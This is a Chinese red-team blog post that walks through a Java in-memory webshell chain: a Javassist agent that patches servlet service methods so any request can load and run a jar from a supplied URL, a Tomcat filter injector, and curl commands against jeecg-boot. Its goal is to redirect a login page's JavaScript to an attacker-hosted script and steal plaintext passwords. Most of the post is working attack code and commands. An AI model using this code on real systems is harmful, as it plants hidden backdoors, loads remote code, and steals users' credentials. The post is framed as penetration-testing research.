java内存马深度利用:窃取明文、钓鱼
lufei 发表于 上海 渗透测试 840浏览 · 2024-08-25 16:05

一、前言

在红蓝对抗中,进程内存是兵家必争之地。例如,知名的 Mimikatz 工具(用于提取计算机密码和哈希值)就是通过操作内存来实现的。然而,由于操作内存极为繁琐且复杂,并且大部分软件的特性不一致,导致投入产出比相对较低,所以研究这一领域的人相对较少。

然而,在 Java 安全领域,内存对抗相对较为常见。由于 Java Instrument 机制(在内存中修改类)以及反序列化漏洞,可以通过代码执行来增加 Servlet、Filter 等内存马(这些能够有效规避回显和查杀),并且有众多的内存马工具生态,造就了内存马研究的浪潮。

不过,我个人认为,内存利用的潜力尚未被充分挖掘,因为蓝军的最终目标是业务权限或数据,而非机器。我曾遇到以下困扰的问题,后来发现这些问题都可以通过操作内存来解决:

1、遇到 KMS 加密的配置文件时,如何快速解密?

2、如何窃取用户登录 Spring Boot 应用的明文密码,而非 MD5 哈希值?

3、如何窃取二因素认证的 token 以绕过登录验证?

二、我有一个想法

上面这些问题,在java应用中都可以通过Java Instrument解决:dump内存、修改内存class逻辑。这里重点聊一下第二点。

1、增加一个jar loader:做一个loader,方便根据不同目标插入不同的内存马

2、自定义不可描述的事情:比如窃取web js密码明文逻辑:修改返回包 -> 替换返回包 -> 替换js的url(非常完美,本地或远程都可以),跟@skay讨论思路如上。实现过程是通过注入jar Loader注入Filter内存马,改变js的返回路径。

三、实验思路

3.1、Java Instrument制作jar loader

确认javaassit版本

javaassit版本太低了,对于需要修改的目标webapp不兼容(比较高版本的jdk不兼容),版本太高了,编译的agent需要的jdk版本需要jdk8以上。

修改servlet class

shellcode,最后的return是让有一个判断,返回为空则说明注入成功。

javax.servlet.http.HttpServletRequest request=(javax.servlet.ServletRequest)$1;
javax.servlet.http.HttpServletResponse response = (javax.servlet.ServletResponse)$2;
javax.servlet.http.HttpSession session = request.getSession();
if ((request.getQueryString()!=null) && (request.getQueryString().contains("lPassword")))
{
   java.util.Map obj=new java.util.HashMap();
   obj.put("request",request);
   obj.put("response",response);
   obj.put("session",session);
   ClassLoader loader=this.getClass().getClassLoader();
   if (request.getMethod().equals("POST"))
   {
      try{
            String lUrl = request.getParameter("lUrl");
            String lName = request.getParameter("lName");
            java.net.URL[] urls = new java.net.URL[]{new java.net.URL(lUrl)};
            java.net.URLClassLoader urlClassLoader = new java.net.URLClassLoader(urls,this.getClass().getClassLoader());
            Class clazz = urlClassLoader.loadClass(lName);
            java.lang.reflect.Method[] methods = clazz.getDeclaredMethods();
            for (int i = 0; i < methods.length; i++) {
                  System.out.println("method: " +methods[i].getName());
            }
            java.lang.reflect.Constructor[] constructors = clazz.getDeclaredConstructors();
            for (int i = 0; i < constructors.length; i++) {
                  System.out.println("constructor: " +constructors[i].getName());
            }
            Object obj = clazz.newInstance();
            return;
      }catch (Exception e){e.printStackTrace();}
   }
}

agent的代码:AfterDemo.java

import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtMethod;
import java.lang.instrument.ClassDefinition;
import java.lang.instrument.Instrumentation;
import java.util.ArrayList;
import java.util.HashMap;
import java.util.List;
import java.util.Map;
public class AfterDemo {
    public static void agentmain(String agentArgs, Instrumentation inst) {
        System.out.println("hello I`m agentMain!!!");
        Class<?>[] cLasses = inst.getAllLoadedClasses();
        byte[] bArr = new byte[0];
        Map<String, Map<String, Object>> targetClasses = new HashMap<>();
        Map<String, Object> targetClassJavaxMap = new HashMap<>();
        targetClassJavaxMap.put("methodName", "service");
        List<String> paramJavaxClsStrList = new ArrayList<>();
        paramJavaxClsStrList.add("javax.servlet.ServletRequest");
        paramJavaxClsStrList.add("javax.servlet.ServletResponse");
        targetClassJavaxMap.put("paramList", paramJavaxClsStrList);
        targetClasses.put("javax.servlet.http.HttpServlet", targetClassJavaxMap);
        Map<String, Object> targetClassJakartaMap = new HashMap<>();
        targetClassJakartaMap.put("methodName", "service");
        List<String> paramJakartaClsStrList = new ArrayList<>();
        paramJakartaClsStrList.add("jakarta.servlet.ServletRequest");
        paramJakartaClsStrList.add("jakarta.servlet.ServletResponse");
        targetClassJakartaMap.put("paramList", paramJakartaClsStrList);
        targetClasses.put("javax.servlet.http.HttpServlet", targetClassJavaxMap);
        targetClasses.put("jakarta.servlet.http.HttpServlet", targetClassJakartaMap);
        ClassPool cPool = ClassPool.getDefault();
        if (ServerDetector.isWebLogic()) {
            targetClasses.clear();
            Map<String, Object> targetClassWeblogicMap = new HashMap<>();
            targetClassWeblogicMap.put("methodName", "execute");
            List<String> paramWeblogicClsStrList = new ArrayList<>();
            paramWeblogicClsStrList.add("javax.servlet.ServletRequest");
            paramWeblogicClsStrList.add("javax.servlet.ServletResponse");
            targetClassWeblogicMap.put("paramList", paramWeblogicClsStrList);
            targetClasses.put("weblogic.servlet.internal.ServletStubImpl", targetClassWeblogicMap);
        }
        String shellCode = "javax.servlet.http.HttpServletRequest request=(javax.servlet.ServletRequest)$1;\n" +
                "javax.servlet.http.HttpServletResponse response = (javax.servlet.ServletResponse)$2;\n" +
                "javax.servlet.http.HttpSession session = request.getSession();\n" +
                "String pathPattern=\"/linject\";\n" +
                "if (request.getRequestURI().matches(pathPattern))\n" +
                "{\n" +
                "   java.util.Map obj=new java.util.HashMap();\n" +
                "   obj.put(\"request\",request);\n" +
                "   obj.put(\"response\",response);\n" +
                "   obj.put(\"session\",session);\n" +
                "   ClassLoader loader=this.getClass().getClassLoader();\n" +
                "   if (request.getMethod().equals(\"POST\"))\n" +
                "   {\n" +
                "      try{\n" +
                "            String lUrl = request.getParameter(\"lUrl\");\n" +
                "            String lName = request.getParameter(\"lName\");\n" +
                "            java.net.URL[] urls = new java.net.URL[]{new java.net.URL(lUrl)};\n" +
                "            java.net.URLClassLoader urlClassLoader = new java.net.URLClassLoader(urls,this.getClass().getClassLoader());\n" +
                "            Class clazz = urlClassLoader.loadClass(lName);\n" +
                "            java.lang.reflect.Method[] methods = clazz.getDeclaredMethods();\n" +
                "            for (int i = 0; i < methods.length; i++) {\n" +
                "                  System.out.println(\"method: \" +methods[i].getName());\n" +
                "            }\n" +
                "            java.lang.reflect.Constructor[] constructors = clazz.getDeclaredConstructors();\n" +
                "            for (int i = 0; i < constructors.length; i++) {\n" +
                "                  System.out.println(\"constructor: \" +constructors[i].getName());\n" +
                "            }\n" +
                "            Object obj = clazz.newInstance();\n" +
                "            return;\n" +
                "      }catch (Exception e){e.printStackTrace();}\n" +
                "   }\n" +
                "}";
        for (Class<?> cls : cLasses) {
            System.out.println(cls.getName());
            if (targetClasses.keySet().contains(cls.getName())) {
                String targetClassName = cls.getName();
                try {
                    System.out.println("found class:"+targetClassName);
                    if (targetClassName.equals("jakarta.servlet.http.HttpServlet")) {
                        shellCode = shellCode.replace("javax.servlet", "jakarta.servlet");
                    }
                    ClassClassPath classPath = new ClassClassPath(cls);
                    cPool.insertClassPath(classPath);
                    cPool.importPackage("java.lang.reflect.Method");
                    cPool.importPackage("javax.crypto.Cipher");
                    List<CtClass> paramClsList = new ArrayList<>();
                    for (Object clsName : (List) targetClasses.get(targetClassName).get("paramList")) {
                        paramClsList.add(cPool.get((String) clsName));
                    }
                    CtClass cClass = cPool.get(targetClassName);
                    String methodName = targetClasses.get(targetClassName).get("methodName").toString();
                    CtMethod cMethod = cClass.getDeclaredMethod(methodName, (CtClass[]) paramClsList.toArray(new CtClass[paramClsList.size()]));
                    cMethod.insertBefore(shellCode);
                    cClass.detach();
                    byte[] data = cClass.toBytecode();
                    inst.redefineClasses(new ClassDefinition[]{new ClassDefinition(cls, data)});
                } catch (Exception e) {
                    e.printStackTrace();
                }
                break;
            }
        }
    }
}
curl -X POST  'http://127.0.0.1:9091/linject?lUrl=http://127.0.0.1/TestSpring4.jar&lName=org.example.testspring4.Inject&password' -vvv

3.2、注入Filter

Filter & Filter注射器

MyFilter.java

import jakarta.servlet.*;
import jakarta.servlet.http.HttpServletRequest;
import jakarta.servlet.http.HttpServletResponse;
import java.io.IOException;
public class MyFilter implements Filter {
    @Override
    public void init(FilterConfig filterConfig) throws ServletException {
        Filter.super.init(filterConfig);
    }
    @Override
    public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
        if(((HttpServletRequest)servletRequest).getRequestURI().endsWith("app.9fa057ee.js")){
            ((HttpServletResponse)servletResponse).sendRedirect("http://127.0.0.1/app.js");
        }else {
            filterChain.doFilter(servletRequest, servletResponse);
        }
    }

    @Override
    public void destroy() {
        Filter.super.destroy();
    }
}

Inject.java

package org.example.testspring4;
import jakarta.servlet.*;
import org.apache.catalina.Context;
import org.apache.catalina.core.ApplicationContext;
import org.apache.catalina.core.StandardContext;
import org.apache.tomcat.util.descriptor.web.FilterDef;
import org.springframework.boot.web.servlet.DispatcherType;
import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.context.request.ServletRequestAttributes;
import org.springframework.web.servlet.support.RequestContextUtils;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.util.Map;
public class Inject  {
    public Inject(){
        try {
            WebApplicationContext context = RequestContextUtils.findWebApplicationContext(((ServletRequestAttributes) RequestContextHolder.currentRequestAttributes()).getRequest());
            System.out.println(context);
            ServletContext servletContext = ((org.springframework.web.context.WebApplicationContext)context).getServletContext();
            Field appctx = servletContext.getClass().getDeclaredField("context");  // 获取属性
            appctx.setAccessible(true);
            ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);
            Field stdctx = applicationContext.getClass().getDeclaredField("context");
            stdctx.setAccessible(true);
            StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);
            MyFilter filter = new MyFilter();
            String FilterName = "shiroFilter";
            Field Configs = null;
            Map filterConfigs;
            Configs = StandardContext.class.getDeclaredField("filterConfigs");
            Configs.setAccessible(true);
            filterConfigs = (Map) Configs.get(standardContext);
            Class<?> FilterDef = Class.forName("org.apache.tomcat.util.descriptor.web.FilterDef");
            Constructor declaredConstructors = FilterDef.getDeclaredConstructor();
            org.apache.tomcat.util.descriptor.web.FilterDef o = (org.apache.tomcat.util.descriptor.web.FilterDef) declaredConstructors.newInstance();
            o.setFilter(filter);
            o.setFilterName(FilterName);
            o.setFilterClass(filter.getClass().getName());
            standardContext.addFilterDef(o);
            //Step 4
            Class<?> FilterMap = Class.forName("org.apache.tomcat.util.descriptor.web.FilterMap");
            Constructor<?> declaredConstructor = FilterMap.getDeclaredConstructor();
            org.apache.tomcat.util.descriptor.web.FilterMap o1 = (org.apache.tomcat.util.descriptor.web.FilterMap) declaredConstructor.newInstance();
            o1.addURLPattern("/*");
            o1.setFilterName(FilterName);
            o1.setDispatcher(DispatcherType.REQUEST.name());
            standardContext.addFilterMapBefore(o1);
            //Step 5
            Class<?> ApplicationFilterConfig = Class.forName("org.apache.catalina.core.ApplicationFilterConfig");
            Constructor<?> declaredConstructor1 = ApplicationFilterConfig.getDeclaredConstructor(Context.class, FilterDef.class);
            declaredConstructor1.setAccessible(true);
            org.apache.catalina.core.ApplicationFilterConfig filterConfig = (org.apache.catalina.core.ApplicationFilterConfig) declaredConstructor1.newInstance(standardContext, o);
            filterConfigs.put(FilterName, filterConfig);
        }catch (Exception e){
            e.printStackTrace();
        }
    }
}

Jar Loader

需要注入到对应的servlet中去,因为这样就有了这个web app的上下文了,然后就可以通过Jar Loader加载任意java代码了。

注意:new java.net.URLClassLoader(urls,this.getClass().getClassLoader());

每个类加载器都有自己的命名空间,它包含由该类加载器加载的类。在Java中,类的唯一性不仅由类的完全限定名(类名+包名)决定,还由加载它的类加载器决定。因此,即使两个类加载器加载了相同的类文件,这两个类也被视为不同的类,因为它们位于不同的命名空间中。

try{
    java.net.URL[] urls = new java.net.URL[]{new java.net.URL(url)};
    java.net.URLClassLoader urlClassLoader = new java.net.URLClassLoader(urls,this.getClass().getClassLoader());
    Class clazz = urlClassLoader.loadClass(name);
    java.lang.reflect.Method[] methods = clazz.getDeclaredMethods();
    for (java.lang.reflect.Method _method : methods) {
        System.out.println("method: " + _method);
    }
    java.lang.reflect.Constructor<?>[] constructors = clazz.getDeclaredConstructors();
    for (java.lang.reflect.Constructor<?> ctor : constructors) {
        System.out.println("Constructor: " + ctor);
    }
    Object obj = clazz.newInstance();
}catch (Exception e){
    e.printStackTrace();
}

成功劫持

对app.9fa057ee.js进行劫持成功。

四、jeecg-boot劫持

1、生成SpiringFilter内存马(注射器和Filter马内容)

<dependency>
  <groupId>org.springframework.boot</groupId>
  <artifactId>spring-boot-starter-web</artifactId>
  <version>2.7.18</version>
</dependency>
package org.example;


import javax.servlet.*;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;


import java.io.IOException;


public class MyFilter implements Filter {
    @Override
    public void init(FilterConfig filterConfig) throws ServletException {
        Filter.super.init(filterConfig);
    }


    @Override
    public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
        if(((HttpServletRequest)servletRequest).getRequestURI().endsWith("app.9fa057ee.js")){
            ((HttpServletResponse)servletResponse).sendRedirect("http://127.0.0.1/app.js");
        }else {
            filterChain.doFilter(servletRequest, servletResponse);
        }
    }


    @Override
    public void destroy() {
        Filter.super.destroy();
    }
}

2、通过agent修改目标类

通过agent修改HttpServlet,实现访问任意路径即可加载Jar,注入内存马。

这步就是修改了javax.servlet.http.HttpServlet,可以加载任意的jar中的class执行。

java -jar agent-attach-java-1.8.jar -pid 83106 -agent-jar /Users/lufei/Downloads/AgentTester/out/artifacts/AgentTester_jar/AgentTester.jar

3、加载SpringFilter的inject 并且修改Filter

因为要触发javax.servlet.http.HttpServlet,所以必须在webapp的context上,所以只要成功访问webapp的任意url就可以触发,并且会返回200状态

curl -X POST  'http://127.0.0.1:8080/jeecg-boot/sys/login?lUrl=http://127.0.0.1/SpringFilter-1.0-SNAPSHOT.jar&lName=org.example.Inject&lPassword' -vvv

4、验证是否成功

这里会看到访问jeecg-boot/webjars/js/app.9fa057ee.js,就会跳转到/app.js,成功被劫持。

curl  'http://127.0.0.1:8080/jeecg-boot/webjars/js/app.9fa057ee.js' -vv

这里js加载我们修改的js,在js头部插入我们的js代码,这时候可以插入任意js,直接窃取明文密码。

五、总结

在红蓝对抗中,随着国内监管合规健全以及各类的安全基础设施完善,获取到机器ROOT权限并不意味结束,而是面对另一场对抗。

0 条评论
某人
表情
可输入 255